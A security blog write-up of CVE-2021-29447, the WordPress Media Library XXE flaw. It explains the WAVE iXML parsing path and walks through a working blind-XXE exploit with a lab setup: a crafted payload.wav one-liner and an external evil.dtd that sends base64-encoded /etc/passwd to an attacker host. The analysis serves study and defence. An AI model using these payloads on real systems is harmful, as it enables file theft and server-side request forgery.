WordPress XXE Vulnerability in Media Library – CVE-2021-29447

by chebbi abir

WordPress versions 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11 are affected to XML eXternal Entity vulnerability where an authenticated user with the ability to upload files in the Media Library can upload a malicious WAVE file that could lead to remote arbitrary file disclosure and server-side request forgery (SSRF).

WordPress uses ID3 library to parse information about an audio file uploaded in the Media Library that was vulnerable to XXE, but what is getID3 library, and why WordPress use it?

Metadata and iXML

Audio file format MPEG layer I, layer II and layer III (MP3) need a way to include information about the track (such as Artist name, Album name, Year, etc…). ID3 is a small chunk of extra data at the end of the file to carry information about the audio. The tag consists in 128 bytes (125 bytes + 3 bytes of “TAG” prefix) and has the following layout:

Song title 30 characters
Artist 30 characters
Album 30 characters
Year 4 characters
Comment 30 characters
Genre 1 byte

The WAVE file is an instance of a Resource Interchange File Format (RIFF) that is a tagged file format. It has a specific container format (a chunk) that includes a four-character tag and the size (number of bytes) of the chunk. As a derivative of RIFF, WAV files can be tagged with metadata in the INFO chunk and one of usable metadata is called iXML.

iXML is an open standard for the inclusion of location sound metadata in Broadcast WAVE audio files, video files and also IP video and audio streams. This includes things like Scene, Take and Notes information. WordPress can parse information included in iXML tag by using the simplexml_load_string() function in wp-includes/ID3/getid3.lib.php file that parses a string as XML.

A very simplified iXML data chunk, in a mono file with only the most basic metadata objects will look something like this:

iXML data chunk

XXE Vulnerability

As said before, an author in WordPress can upload media file on WordPress Media Library in order to use it inside a post. Once a WAVE file is uploaded, the wp_read_audio_metadata() WordPress function extracts audio information from the iXML metadata included in $thisfile_riff_WAVE['iXML'][0]['data'] variable that can contains malicious XML eXternal Entity.

XML makes us able to define entities that can be reused inside the document, for example:

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>
<foo><bar>&ext;</bar><foo>

In this way, when the malicious XML above is parsed an attacker can read the /etc/passwd content by assigning it to &ext; entity and then display its value inside the XML document.

Talking about CVE-2021-29447 the result of parsed iXML metadata is not sent back to the user, so to exploit it we need a blind XXE payload. This is doable by including an external Document Type Definition controlled by the attacker. A DTD defines the valid building blocks of an XML document. It defines the document structure with a list of validated elements and attributes. A DTD can be declared inline inside an XML document, or as an external reference. For example, the payload injected inside the iXML WAVE file metadata could be something like this:

<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM 'http://example.com/evil.dtd'>%remote;%init;%trick;]>

As you can see, the XML document above includes an external DTD at http://example.com/evil.dtd that contains the following payload:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://example.com/?p=%file;'>" >

The first line assign to the file entity the result of php://filter/read=convert.base64-encode/resource=/etc/passwd. The PHP wrapper php:// makes us able to access various I/O streams and php://filter is a kind of meta-wrapper designed to permit the application of filters to a stream at the time of opening. Thanks to it, we can convert to base64 the content of a file (in the example above /etc/passwd) and assign the result to the %file entity. Now we can send to our server the content of %file and exfiltrate it.

Once the malicious WAVE file is uploaded, the attacker receives an HTTP request that includes in the p GET argument the base64 encoded content of /etc/passwd. Following an example of the error_log of the attacker webserver:

HTTP request received by attacker webserver
HTTP request received by attacker webserver

By decoding the content of p GET argument, the attacker can read the WordPress webserver /etc/passwd content:

Decoded content of /etc/passwd
Decoded content of /etc/passwd

How to create a malicious WAVE file?

You don’t need an audio library to create a WAVE file and inject your payload inside the iXML metatag. You can just use bash! This is an example:

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00YOUR_XML_PAYLOAD_HERE\x00'> payload.wav

I’ve generated the WAVE file with the payload that I used in the example above with the following command:

echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://192.168.1.7:9123/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

And inside the evil.dtd I put the following XML document:

evil.dtd

Then I started a webserver on the same directory where evil.dtd file is, with something like:

php -S 0.0.0.0:9123

Now I just need to upload my payload.wav to the WordPress Media Library:

WordPress Vulnerability GIF animation

How to reproduce the exploit locally

You can easily reproduce the exploit locally by using docker and the following docker-compose file that create for you a container with the vulnerable WordPress version and a MySQL database:

  version: 3.1
   
  services:
   
  wordpress:
  image: wordpress:5.6.2-php8.0-apache
  restart: always
  ports:
  80:80
  environment:
  WORDPRESS_DB_HOST: db
  WORDPRESS_DB_USER: exampleuser
  WORDPRESS_DB_PASSWORD: examplepass
  WORDPRESS_DB_NAME: exampledb
  volumes:
  wordpress:/var/www/html
   
  db:
  image: mysql:5.7
  restart: always
  environment:
  MYSQL_DATABASE: exampledb
  MYSQL_USER: exampleuser
  MYSQL_PASSWORD: examplepass
  MYSQL_RANDOM_ROOT_PASSWORD: 1
  volumes:
  db:/var/lib/mysql
   
  volumes:
  wordpress:
  db:
  <!ENTITY % file SYSTEM “php://filter/read=convert.base64-encode/resource=/etc/passwd”>
  <!ENTITY % init “<!ENTITY &#x25; trick SYSTEM ‘http://attacker/?p=%file;’>” >
view rawevil.dtd hosted with ❤ by GitHub
  echo -en RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version=”1.0″?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM http://attacker/evil.dtd>%remote;%init;%trick;]>\x00 > payload.wav
view rawgen_wave.sh hosted with ❤ by GitHub

Once created both containers, before starting with the installation keep in mind that WordPress automatically upgrades its core. So, to prevent this you need to take a shell inside the wordpress container and edit the wp-config.php by adding the following code:

define( 'WP_AUTO_UPDATE_CORE', false );

Note: This vulnerability only affects WordPress running on PHP version 8.

 

To read the original article:

https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/

Top

Interdit de copier  ce contenu